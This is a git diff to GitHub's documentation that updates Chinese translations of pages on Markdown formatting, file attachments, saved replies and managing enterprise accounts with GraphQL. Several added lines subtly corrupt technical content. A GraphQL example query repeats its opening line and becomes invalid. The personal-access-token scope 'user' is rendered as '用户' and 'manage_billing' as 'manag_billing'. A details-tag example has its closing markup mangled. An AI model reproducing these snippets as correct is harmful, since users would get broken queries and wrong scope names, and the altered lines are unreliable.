+要查看内容附件，您必须拥有使用仓库中安装的内容附件 API 的 {% data variables.product.prodname_github_app %}。{% ifversion fpt or ghec %} 更多信息请参阅“[在个人帐户中安装应用程序](/articles/installing-an-app-in-your-personal-account)”和“[在组织中安装应用程序](/articles/installing-an-app-in-your-organization)”。{% endif %}
 
-Content attachments will not be displayed for URLs that are part of a markdown link.
+内容附件不会显示在属于 markdown 链接的 URL 中。
 
 For more information about building a {% data variables.product.prodname_github_app %} that uses content attachments, see "[Using Content Attachments](/apps/using-content-attachments)."{% endif %}
 
-## Uploading assets
+## 上传资产
 
-You can upload assets like images by dragging and dropping, selecting from a file browser, or pasting. You can upload assets to issues, pull requests, comments, and `.md` files in your repository.
+您可以通过拖放、从文件浏览器中选择或粘贴来上传图像等资产。 您可以将资产上传到议题、拉取请求、评论和仓库中的 `.md` 文件。
 
-## Using emoji
+## 使用表情符号
 
-You can add emoji to your writing by typing `:EMOJICODE:`.
+通过键入 `:EMOJICODE:` 可在您的写作中添加表情符号。
 
-`@octocat :+1: This PR looks great - it's ready to merge! :shipit:`
+`@octocat :+1: 这个 PR 看起来很棒 - 可以合并了！ :shipit:`
 
-![Rendered emoji](/assets/images/help/writing/emoji-rendered.png)
+![渲染的表情符号](/assets/images/help/writing/emoji-rendered.png)
 
-Typing `:` will bring up a list of suggested emoji. The list will filter as you type, so once you find the emoji you're looking for, press **Tab** or **Enter** to complete the highlighted result.
+键入 `:` 将显示建议的表情符号列表。 列表将在您键入时进行过滤，因此一旦找到所需表情符号，请按 **Tab** 或 **Enter** 键以填写选中的结果。
 
-For a full list of available emoji and codes, check out [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md).
+有关可用表情符号和代码的完整列表，请查看[表情符号备忘清单](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md)。
 
-## Paragraphs
+## 段落
 
-You can create a new paragraph by leaving a blank line between lines of text.
+通过在文本行之间留一个空白行，可创建新段落。
 
 {% ifversion fpt or ghae-issue-5180 or ghes > 3.2 or ghec %}
-## Footnotes
+## 脚注
 
-You can add footnotes to your content by using this bracket syntax:
+您可以使用此括号语法为您的内容添加脚注：
 
 ```
 Here is a simple footnote[^1].
@@ -295,46 +298,46 @@ You can also use words, to fit your writing style more closely[^note].
     This footnote also has been made with a different syntax using 4 spaces for new lines.
 ```
 
-The footnote will render like this:
+脚注将呈现如下：
 
-![Rendered footnote](/assets/images/site/rendered-footnote.png)
+![渲染的脚注](/assets/images/site/rendered-footnote.png)
 
 {% tip %}
 
-**Note**: The position of a footnote in your Markdown does not influence where the footnote will be rendered. You can write a footnote right after your reference to the footnote, and the footnote will still render at the bottom of the Markdown.
+**注意**：Markdown 中脚注的位置不会影响该脚注的呈现位置。 您可以在引用脚注后立即写脚注，脚注仍将呈现在 Markdown 的底部。
 
 {% endtip %}
 {% endif %}
 
-## Hiding content with comments
+## 隐藏有评论的内容
 
-You can tell {% data variables.product.product_name %} to hide content from the rendered Markdown by placing the content in an HTML comment.
+您可以通过在 HTML 评论中加入内容来指示 {% data variables.product.product_name %} 隐藏渲染的 Markdown 中的内容。
 
 <pre>
 &lt;!-- This content will not appear in the rendered Markdown --&gt;
 </pre>
 
-## Ignoring Markdown formatting
+## 忽略 Markdown 格式
 
-You can tell {% data variables.product.product_name %} to ignore (or escape) Markdown formatting by using `\` before the Markdown character.
+通过在 Markdown 字符前面输入 `\`，可告诉 {% data variables.product.product_name %} 忽略（或规避）Markdown 格式。
 
-`Let's rename \*our-new-project\* to \*our-old-project\*.`
+`让我们将 \*our-new-project\* 重命名为 \*our-old-project\*。`
 
-![Rendered escaped character](/assets/images/help/writing/escaped-character-rendered.png)
+![渲染的规避字符](/assets/images/help/writing/escaped-character-rendered.png)
 
-For more information, see Daring Fireball's "[Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash)."
+更多信息请参阅 Daring Fireball 的“[Markdown 语法](https://daringfireball.net/projects/markdown/syntax#backslash)”。
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-5232 or ghec %}
 
-## Disabling Markdown rendering
+## 禁用 Markdown 渲染
 
 {% data reusables.repositories.disabling-markdown-rendering %}
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[About writing and formatting on GitHub](/articles/about-writing-and-formatting-on-github)"
-- "[Working with advanced formatting](/articles/working-with-advanced-formatting)"
-- "[Mastering Markdown](https://guides.github.com/features/mastering-markdown/)"
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown 规格](https://github.github.com/gfm/)
+- “[关于 GitHub 上的撰写和格式](/articles/about-writing-and-formatting-on-github)”
+- "[使用高级格式](/articles/working-with-advanced-formatting)"
+- "[熟悉 Markdown](https://guides.github.com/features/mastering-markdown/)"
diff --git a/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md b/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
index 568196ac4e..96fcf4df47 100644
--- a/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
+++ b/translations/zh-CN/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md
@@ -1,10 +1,10 @@
 ---
-title: Getting started with writing and formatting on GitHub
+title: 开始在 GitHub 上编写和格式化
 redirect_from:
   - /articles/markdown-basics
   - /articles/things-you-can-do-in-a-text-area-on-github
   - /articles/getting-started-with-writing-and-formatting-on-github
-intro: 'You can use simple features to format your comments and interact with others in issues, pull requests, and wikis on GitHub.'
+intro: 您可以在 GitHub 上使用简单的功能格式化您的评论，与他人交流议题、拉取请求和 wiki。
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,6 +13,6 @@ versions:
 children:
   - /about-writing-and-formatting-on-github
   - /basic-writing-and-formatting-syntax
-shortTitle: Start writing on GitHub
+shortTitle: 开始在 GitHub 上写入
 ---
 
diff --git a/translations/zh-CN/content/github/writing-on-github/index.md b/translations/zh-CN/content/github/writing-on-github/index.md
index e53ef2f32b..5a54388fd3 100644
--- a/translations/zh-CN/content/github/writing-on-github/index.md
+++ b/translations/zh-CN/content/github/writing-on-github/index.md
@@ -1,11 +1,11 @@
 ---
-title: Writing on GitHub
+title: 在 GitHub 上编写
 redirect_from:
   - /categories/88/articles
   - /articles/github-flavored-markdown
   - /articles/writing-on-github
   - /categories/writing-on-github
-intro: 'You can structure the information shared on {% data variables.product.product_name %} with various formatting options.'
+intro: '您可以通过各种格式选项构建 {% data variables.product.product_name %} 共享的信息。'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md b/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
index 5f8e3d33ce..c47c20d0c5 100644
--- a/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
+++ b/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md
@@ -1,6 +1,6 @@
 ---
-title: Attaching files
-intro: You can convey information by attaching a variety of file types to your issues and pull requests.
+title: 附加文件
+intro: 您可以通过将各种文件类型附加到议题和拉取请求来传达信息。
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/file-attachments-on-issues-and-pull-requests
   - /articles/issue-attachments
@@ -17,44 +17,44 @@ topics:
 
 {% warning %}
 
-**Warning:** If you add an image{% ifversion fpt or ghes > 3.1 or ghae or ghec %} or video{% endif %} to a pull request or issue comment, anyone can view the anonymized URL without authentication, even if the pull request is in a private repository{% ifversion ghes %}, or if private mode is enabled{% endif %}. To keep sensitive media files private, serve them from a private network or server that requires authentication. {% ifversion fpt or ghec %}For more information on anonymized URLs see "[About anonymized URLs](/github/authenticating-to-github/about-anonymized-urls)".{% endif %}
+**Warning:** If you add an image{% ifversion fpt or ghes > 3.1 or ghae or ghec %} or video{% endif %} to a pull request or issue comment, anyone can view the anonymized URL without authentication, even if the pull request is in a private repository{% ifversion ghes %}, or if private mode is enabled{% endif %}. 要对敏感媒体文件保密，请从需要身份验证的私有网络或服务器提供它们。 {% ifversion fpt or ghec %}有关匿名 URL 的更多信息，请参阅“[关于匿名 URL](/github/authenticating-to-github/about-anonymized-urls)”。{% endif %}
 
 {% endwarning %}
 
-To attach a file to an issue or pull request conversation, drag and drop it into the comment box. Alternatively, you can click the bar at the bottom of the comment box to browse, select, and add a file from your computer.
+要将文件附加到议题或拉取请求对话，请将它拖放到评论框中。 或者，您也可以单击评论框底部的栏来浏览、选择和添加计算机中的文件。
 
-![Select attachments from computer](/assets/images/help/pull_requests/select-bar.png)
+![从计算机选择附件](/assets/images/help/pull_requests/select-bar.png)
 
 {% tip %}
 
-**Tip:** In many browsers, you can copy-and-paste images directly into the box.
+**提示：**在许多浏览器中，您可以将图像直接复制并粘贴到该框中。
 
 {% endtip %}
 
-The maximum file size is:
+最大文件大小为：
 - 10MB for images and gifs{% ifversion fpt or ghec %}
-- 10MB for videos uploaded to a repository owned by a user or organization on a free GitHub plan
-- 100MB for videos uploaded to a repository owned by a user or organization on a paid GitHub plan{% elsif fpt or ghes > 3.1 or ghae %}
+- 10MB，对于上传到使用免费 GitHub 计划的用户或组织所拥有仓库的视频
+- 100MB，对于上传到使用付费 GitHub 计划的用户或组织所拥有仓库的视频{% elsif fpt or ghes > 3.1 or ghae %}
 - 100MB for videos{% endif %}
-- 25MB for all other files
+- 25MB，对于所有其他文件
 
-We support these files:
+我们支持这些文件：
 
 * PNG (*.png*)
 * GIF (*.gif*)
 * JPEG (*.jpg*)
-* Log files (*.log*)
-* Microsoft Word (*.docx*), Powerpoint (*.pptx*), and Excel (*.xlsx*) documents
-* Text files (*.txt*)
-* PDFs (*.pdf*)
-* ZIP (*.zip*, *.gz*){% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-* Video (*.mp4*, *.mov*)
+* 日志文件 (*.log*)
+* Microsoft Word (*.docx*)、Powerpoint (*.pptx*) 和 Excel (*.xlsx*) 文档
+* 文本文件 (*.txt*)
+* PDF (*.pdf*)
+* ZIP（*.zip*、*.gz*）{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+* 视频（*.mp4*、*.mov*）
 
 {% note %}
 
-**Note:** Video codec compatibility is browser specific, and it's possible that a video you upload to one browser is not viewable on another browser. At the moment we recommend using h.264 for greatest compatibility.
+**注意：** 视频编解码器兼容性是浏览器特定的，上传到一个浏览器的视频可能无法在另一个浏览器上查看。 目前，我们建议使用 h.264 实现最大兼容性。
 
 {% endnote %}
 {% endif %}
 
-![Attachments animated GIF](/assets/images/help/pull_requests/dragging_images.gif)
+![附件动画 GIF](/assets/images/help/pull_requests/dragging_images.gif)
diff --git a/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md b/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
index d100136121..2c84b98158 100644
--- a/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
+++ b/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md
@@ -45,6 +45,7 @@ Look! You can see my backticks.
 
 ![使用倒引号块呈现的围栏代码](/assets/images/help/writing/fenced-code-show-backticks-rendered.png)
 
+{% data reusables.user_settings.enabling-fixed-width-fonts %}
 
 ## 语法突显
 
diff --git a/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/index.md b/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/index.md
index 48cb432198..c8bc3b3f5d 100644
--- a/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/index.md
+++ b/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/index.md
@@ -1,6 +1,6 @@
 ---
-title: Working with advanced formatting
-intro: 'Formatting like tables, syntax highlighting, and automatic linking allows you to arrange complex information clearly in your pull requests, issues, and comments.'
+title: 使用高级格式
+intro: 表格、语法突出显示和自动链接等格式设置可让您在拉取请求、议题和评论中清楚地布置复杂的信息。
 redirect_from:
   - /articles/working-with-advanced-formatting
 versions:
@@ -16,6 +16,6 @@ children:
   - /attaching-files
   - /creating-a-permanent-link-to-a-code-snippet
   - /using-keywords-in-issues-and-pull-requests
-shortTitle: Work with advanced formatting
+shortTitle: 使用高级格式
 ---
 
diff --git a/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md b/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
index 88fc964d9f..1ac11b43d3 100644
--- a/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
+++ b/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
@@ -1,6 +1,6 @@
 ---
 title: Organizing information with collapsed sections
-intro: 'You can streamline your Markdown by creating a collapsed section with the `<details>` tag.'
+intro: You can streamline your Markdown by creating a collapsed section with the `<details>` tag.
 versions:
   fpt: '*'
   ghes: '*'
@@ -8,6 +8,7 @@ versions:
   ghec: '*'
 shortTitle: Collapsed sections
 ---
+
 ## Creating a collapsed section
 
 You can temporarily obscure sections of your Markdown by creating a collapsed section that the reader can choose to expand. For example, when you want to include technical details in an issue comment that may not be relevant or interesting to every reader, you can put those details in a collapsed section.
@@ -24,9 +25,7 @@ Any Markdown within the `<details>` block will be collapsed until the reader cli
       puts "Hello World"
     ```
 
-</p>
-</details>
-```
+</details> ```</p>
 
 The Markdown will be collapsed by default.
 
@@ -36,7 +35,7 @@ After a reader clicks {% octicon "triangle-right" aria-label="The right triange
 
 ![Rendered open](/assets/images/help/writing/open-collapsed-section.png)
 
-## Further reading
+## 延伸阅读
 
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
-- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown 规格](https://github.github.com/gfm/)
+- "[基本撰写和格式语法](/articles/basic-writing-and-formatting-syntax)"
diff --git a/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md b/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
index 4e1f9e97bd..0235a11b08 100644
--- a/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
+++ b/translations/zh-CN/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
@@ -39,6 +39,8 @@ shortTitle: 使用表格组织的数据
 
 ![呈现的单元格宽度不同的表格](/assets/images/help/writing/table-varied-columns-rendered.png)
 
+{% data reusables.user_settings.enabling-fixed-width-fonts %}
+
 ## 格式化表格中的内容
 
 您可以在表格中使用[格式](/articles/basic-writing-and-formatting-syntax)，如链接、内联代码块和文本样式：
diff --git a/translations/zh-CN/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md b/translations/zh-CN/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
index 45ee882eba..3de2d823e1 100644
--- a/translations/zh-CN/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
+++ b/translations/zh-CN/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
@@ -1,6 +1,6 @@
 ---
-title: Editing a saved reply
-intro: You can edit the title and body of a saved reply.
+title: 编辑已保存回复
+intro: 您可以编辑已保存回复的标题和正文。
 redirect_from:
   - /articles/changing-a-saved-reply
   - /articles/editing-a-saved-reply
@@ -11,17 +11,16 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.saved_replies %}
-3. Under "Saved replies", next to the saved reply you want to edit, click {% octicon "pencil" aria-label="The pencil" %}.  
-![Edit a saved reply](/assets/images/help/settings/saved-replies-edit-existing.png)
-4. Under "Edit saved reply", you can edit the title and the content of the saved reply.
-![Edit title and content](/assets/images/help/settings/saved-replies-edit-existing-content.png)
-5. Click **Update saved reply**.
-![Update saved reply](/assets/images/help/settings/saved-replies-save-edit.png)
+3. 使用位于要编辑已保存回复旁边的“Saved replies”（已保存回复），单击 {% octicon "pencil" aria-label="The pencil" %}。  
+   ![编辑已保存回复](/assets/images/help/settings/saved-replies-edit-existing.png)
+4. 在“ Edit saved reply”（已保存回复）下，您可以编辑已保存回复的标题和内容。 ![编辑标题和内容](/assets/images/help/settings/saved-replies-edit-existing-content.png)
+5. 单击 **Update saved reply（更新已保存回复）**。 ![更新已保存回复](/assets/images/help/settings/saved-replies-save-edit.png)
 
-## Further reading
+## 延伸阅读
 
-- "[Creating a saved reply](/articles/creating-a-saved-reply)"
-- "[Deleting a saved reply](/articles/deleting-a-saved-reply)"
-- "[Using saved replies](/articles/using-saved-replies)"
+- "[创建已保存回复](/articles/creating-a-saved-reply)"
+- "[删除已保存回复](/articles/deleting-a-saved-reply)"
+- "[使用已保存回复](/articles/using-saved-replies)"
diff --git a/translations/zh-CN/content/graphql/guides/index.md b/translations/zh-CN/content/graphql/guides/index.md
index 7311e5cf39..3627bba0ec 100644
--- a/translations/zh-CN/content/graphql/guides/index.md
+++ b/translations/zh-CN/content/graphql/guides/index.md
@@ -1,6 +1,6 @@
 ---
-title: Guides
-intro: 'Learn about getting started with GraphQL, migrating from REST to GraphQL, and how to use the GitHub GraphQL API for a variety of tasks.'
+title: 指南
+intro: 了解如何开始使用 GraphQL、从 REST 迁移到 GraphQL 以及如何利用 GitHub GraphQL API 执行各种任务。
 redirect_from:
   - /v4/guides
 versions:
diff --git a/translations/zh-CN/content/graphql/guides/managing-enterprise-accounts.md b/translations/zh-CN/content/graphql/guides/managing-enterprise-accounts.md
index c14b543958..21dee842af 100644
--- a/translations/zh-CN/content/graphql/guides/managing-enterprise-accounts.md
+++ b/translations/zh-CN/content/graphql/guides/managing-enterprise-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Managing enterprise accounts
-intro: You can manage your enterprise account and the organizations it owns with the GraphQL API.
+title: 管理企业帐户
+intro: 您可以使用 GraphQL API 管理企业帐户及其拥有的组织。
 redirect_from:
   - /v4/guides/managing-enterprise-accounts
 versions:
@@ -9,100 +9,98 @@ versions:
   ghae: '*'
 topics:
   - API
-shortTitle: Manage enterprise accounts
+shortTitle: 管理企业帐户
 ---
 
-## About managing enterprise accounts with GraphQL
+## 关于使用 GraphQL 管理企业帐户
 
-To help you monitor and make changes in your organizations and maintain compliance, you can use the Enterprise Accounts API and the Audit Log API, which are only available as GraphQL APIs.
+为帮助您监测和更改组织并保持合规性，可以使用只能作为 GraphQL API 的企业帐户 API 和审核日志 API。
 
-The enterprise account endpoints work for both GitHub Enterprise Cloud and for GitHub Enterprise Server.
+企业帐户端点适用于 GitHub Enterprise Cloud 和 GitHub Enterprise Server。
 
-GraphQL allows you to request and return just the data you specify. For example, you can create a GraphQL query, or request for information, to see all the new organization members added to your organization. Or you can make a mutation, or change, to invite an administrator to your enterprise account.
+GraphQL 可用于仅请求和返回您指定的数据。 例如，您可以创建 GraphQL 查询或请求信息，以查看添加至您组织的所有新组织成员。 或者，也可以执行突变或更改操作，以邀请管理员加入您的企业帐户。
 
-With the Audit Log API, you can monitor when someone:
-- Accesses your organization or repository settings.
-- Changes permissions.
-- Adds or removes users in an organization, repository, or team.
-- Promotes users to admin.
-- Changes permissions of a GitHub App.
+通过审核日志 API，可以监测何时有人：
+- 访问组织或仓库设置。
+- 更改权限。
+- 在组织、仓库或团队中添加或删除用户。
+- 将用户提升为管理员。
+- 更改 GitHub 应用程序的权限。
 
-The Audit Log API enables you to keep copies of your audit log data. For queries made with the Audit Log API, the GraphQL response can include data for up to 90 to 120 days. For a list of the fields available with the Audit Log API, see the "[AuditEntry interface](/graphql/reference/interfaces#auditentry/)."
+审核日志 API 可帮助您保存审核日志数据的副本。 对于使用审核日志 API 执行的查询，GraphQL 响应最多可包含 90 至 120 天的数据。 有关通过审核日志 API 获得的字段列表，请参阅“[AuditEntry 接口](/graphql/reference/interfaces#auditentry/)。”
 
-With the Enterprise Accounts API, you can:
-- List and review all of the organizations and repositories that belong to your enterprise account.
-- Change Enterprise account settings.
-- Configure policies for settings on your enterprise account and its organizations.
-- Invite administrators to your enterprise account.
-- Create new organizations in your enterprise account.
+通过企业帐户 API，可以：
+- 列出并审查属于企业帐户的所有组织和仓库。
+- 更改企业帐户设置。
+- 配置企业帐户及其组织的设置策略。
+- 邀请管理员加入您的企业帐户。
+- 在企业帐户中创建新组织。
 
-For a list of the fields available with the Enterprise Accounts API, see "[GraphQL fields and types for the Enterprise account API](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api)."
+有关通过企业帐户 API 获得的字段列表，请参阅“[企业帐户 API 的 GraphQL 字段和类型](/graphql/guides/managing-enterprise-accounts#graphql-fields-and-types-for-the-enterprise-accounts-api)。”
 
-## Getting started using GraphQL for enterprise accounts
+## 开始将 GraphQL 用于企业帐户
 
-Follow these steps to get started using GraphQL to manage your enterprise accounts:
- - Authenticating with a personal access token
- - Choosing a GraphQL client or using the GraphQL Explorer
- - Setting up Insomnia to use the GraphQL API
+按照以下步骤开始利用 GraphQL 管理企业帐户：
+ - 使用个人访问令牌进行身份验证
+ - 选择 GraphQL 客户端或使用 GraphQL Explorer
+ - 设置 Insomnia 以使用 GraphQL API
 
-For some example queries, see "[An example query using the Enterprise Accounts API](#an-example-query-using-the-enterprise-accounts-api)."
+有关查询示例，请参阅“[使用企业帐户 API 的查询示例](#an-example-query-using-the-enterprise-accounts-api)。”
 
-### 1. Authenticate with your personal access token
+### 1. 使用个人访问令牌进行身份验证
 
-1. To authenticate with GraphQL, you need to generate a personal access token (PAT) from developer settings. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+1. 要使用 GraphQL 进行身份验证，需要通过开发者设置生成个人访问令牌 (PAT)。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。
 
-2. Grant admin and full control permissions to your personal access token for areas of GHES you'd like to access. For full permission to private repositories, organizations, teams, user data, and access to enterprise billing and profile data, we recommend you select these scopes for your personal access token:
+2. 向要访问的 GHES 区域的个人访问令牌授予管理员和完全控制权限。 要获得对私有仓库、组织、团队、用户数据及企业帐单和个人资料数据访问的完全权限，建议您为个人访问令牌选择以下作用域：
     - `repo`
     - `admin:org`
-    - `user`
+    - `用户`
     - `admin:enterprise`
 
-  The enterprise account specific scopes are:
-    - `admin:enterprise`: Gives full control of enterprises (includes {% ifversion ghes > 3.2 or ghae or ghec %}`manage_runners:enterprise`, {% endif %}`manage_billing:enterprise` and `read:enterprise`)
-    - `manage_billing:enterprise`: Read and write enterprise billing data.{% ifversion ghes > 3.2 or ghae  %}
-    - `manage_runners:enterprise`: Access to manage GitHub Actions enterprise runners and runner-groups.{% endif %}
-    - `read:enterprise`: Read enterprise profile data.
+  企业帐户特定作用域包括：
+    - `admin:enterprise`：全面控制企业（包括 {% ifversion ghes > 3.2 or ghae or ghec %}`manage_runners:enterprise`、{% endif %}`manage_billing:enterprise` 和 `read:enterprise`）
+    - `manag_billing:enterprise`：读写企业帐单数据。{% ifversion ghes > 3.2 or ghae  %}
+    - `manage_runners:enterprise`：获得管理 GitHub Actions 企业运行器和运行器组的权限。{% endif %}
+    - `read:enterprise`：读取企业简介数据。
 
-3. Copy your personal access token and keep it in a secure place until you add it to your GraphQL client.
+3. 复制个人访问令牌并保存在安全的位置，直到将其添加至您的 GraphQL 客户端。
 
-### 2. Choose a GraphQL client
+### 2. 选择 GraphQL 客户端
 
-We recommend you use GraphiQL or another standalone GraphQL client that lets you configure the base URL.
+建议您使用 GraphiQL 或可用于配置基准 URL 的其他独立 GraphQL 客户端。
 
-You may also consider using these GraphQL clients:
+也可以考虑使用以下 GraphQL 客户端：
   - [Insomnia](https://support.insomnia.rest/article/176-graphql-queries)
   - [GraphiQL](https://www.gatsbyjs.org/docs/running-queries-with-graphiql/)
   - [Postman](https://learning.getpostman.com/docs/postman/sending_api_requests/graphql/)
 
-The next steps will use Insomnia.
+接下来将使用 Insomnia。
 
-### 3. Setting up Insomnia to use the GitHub GraphQL API with enterprise accounts
+### 3. 设置 Insomnia，以使用 GitHub GraphQL API 处理企业账户
 
-1. Add the base url and `POST` method to your GraphQL client. When using GraphQL to request information (queries), change information (mutations), or transfer data using the GitHub API, the default HTTP method is `POST` and the base url follows this syntax:
-    - For your enterprise instance: `https://<HOST>/api/graphql`
-    - For GitHub Enterprise Cloud: `https://api.github.com/graphql`
+1. 将基准 url 和 `POST` 方法添加至您的 GraphQL 客户端。 使用 GraphQL 请求信息（查询）、更该信息（突变）或使用 GitHub API 传输数据时，默认 HTTP 方法为 `POST`，基准 url 遵循的语法为：
+    - 对于企业实例：`https://<HOST>/api/graphql`
+    - 对于 GitHub Enterprise Cloud：`https://api.github.com/graphql`
 
-2. To authenticate, open the authentication options menu and select **Bearer token**. Next, add your personal access token that you copied earlier.
+2. 要进行身份验证，请打开身份验证选项菜单，并选择 **Bearer token（不记名令牌）**。 接下来，添加您之前复制的个人访问令牌。
 
- ![Permissions options for personal access token](/assets/images/developer/graphql/insomnia-base-url-and-pat.png)
+ ![个人访问令牌的权限选项](/assets/images/developer/graphql/insomnia-base-url-and-pat.png)
 
- ![Permissions options for personal access token](/assets/images/developer/graphql/insomnia-bearer-token-option.png)
+ ![个人访问令牌的权限选项](/assets/images/developer/graphql/insomnia-bearer-token-option.png)
 
-3. Include header information.
-   - Add `Content-Type` as the header and `application/json` as the value.
-   ![Standard header](/assets/images/developer/graphql/json-content-type-header.png)
-   ![Header with preview value for the Audit Log API](/assets/images/developer/graphql/preview-header-for-2.18.png)
+3. 加入标头信息。
+   - 添加 `Content-Type` 作为标头，`application/json` 作为值。 ![标准标头](/assets/images/developer/graphql/json-content-type-header.png) ![含审核日志 API 预览值的标头](/assets/images/developer/graphql/preview-header-for-2.18.png)
 
-Now you are ready to start making queries.
+现在可以开始执行查询了。
 
-## An example query using the Enterprise Accounts API
+## 使用企业账户 API 的查询示例
 
-This GraphQL query requests the total number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each of your appliance's organizations using the Enterprise Accounts API. To customize this query, replace `<enterprise-account-name>` with the handle for your enterprise account. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `<enterprise-account-name>` with `octo-enterprise`.
+此 GraphQL 查询使用 Enterprise Accounts API 请求每个设备的组织中 {% ifversion not ghae %}`公共`{% else %}`私有`{% endif %} 仓库的总数。 To customize this query, replace `<enterprise-account-name>` with the handle for your enterprise account. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `<enterprise-account-name>` with `octo-enterprise`.
 
 {% ifversion not ghae %}
 
 ```graphql
-query publicRepositoriesByOrganization($slug: String!) {
+query publicRepositoriesByOrganization($slug: String!) query publicRepositoriesByOrganization($slug: String!) {
   enterprise(slug: $slug) {
     ...enterpriseFragment
   }
@@ -164,7 +162,7 @@ variables {
 ```
 {% endif %}
 
-The next GraphQL query example shows how challenging it is to retrieve the number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each organization without using the Enterprise Account API.  Notice that the GraphQL Enterprise Accounts API has made this task simpler for enterprises since you only need to customize a single variable. To customize this query, replace `<name-of-organization-one>` and `<name-of-organization-two>`, etc. with the organization names on your instance.
+新 GraphQL 查询示例显示了不使用 Enterprise Account API 时检索每个组织中的{% ifversion not ghae %}`公共`{% else %}`私有`{% endif %} 仓库数的难度。  请注意，GraphQL 企业账户 API 已使企业执行此任务变得更简单，因为您只需要自定义单个变量。 要自定义此查询，请将 `<name-of-organization-one>` 和 `<name-of-organization-two>` 等参数替换为 实例中的组织名称。
 
 {% ifversion not ghae %}
 ```graphql
@@ -212,7 +210,7 @@ fragment repositories on Organization {
 ```
 {% endif %}
 
-## Query each organization separately
+## 分别查询每个组织
 
 {% ifversion not ghae %}
 
@@ -260,7 +258,7 @@ fragment repositories on Organization {
 
 {% endif %}
 
-This GraphQL query requests the last 5 log entries for an enterprise organization. To customize this query, replace `<org-name>` and `<user-name>`.
+此 GraphQL 查询用于请求企业组织的最后 5 个日志条目。 要自定义此查询，请替换 `<org-name>` 和 `<user-name>`。
 
 ```graphql
 {
@@ -286,13 +284,12 @@ This GraphQL query requests the last 5 log entries for an enterprise organizatio
 }
 ```
 
-For more information about getting started with GraphQL, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)" and "[Forming Calls with GraphQL](/graphql/guides/forming-calls-with-graphql)."
+有关开始使用 GraphQL 的更多信息，请参阅“[GraphQL 简介](/graphql/guides/introduction-to-graphql)”和“[使用 GraphQL 建立调用](/graphql/guides/forming-calls-with-graphql)。”
 
-## GraphQL fields and types for the Enterprise Accounts API
+## 企业账户 API 的 GraphQL 字段和类型
 
-Here's an overview of the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API.
+下面是关于可与企业账户 API 结合使用的新查询、突变和架构定义类型的概述。
 
-For more details about the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API, see the sidebar with detailed GraphQL definitions from any [GraphQL reference page](/graphql).
+有关可与企业账户 API 结合使用的新查询、突变和架构定义类型的详细信息，请参阅任何 [GraphQL 参考页面](/graphql)含有详细 GraphQL 定义的边栏。
 
-You can access the reference docs from within the GraphQL explorer on GitHub. For more information, see "[Using the explorer](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs)."
-For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides).
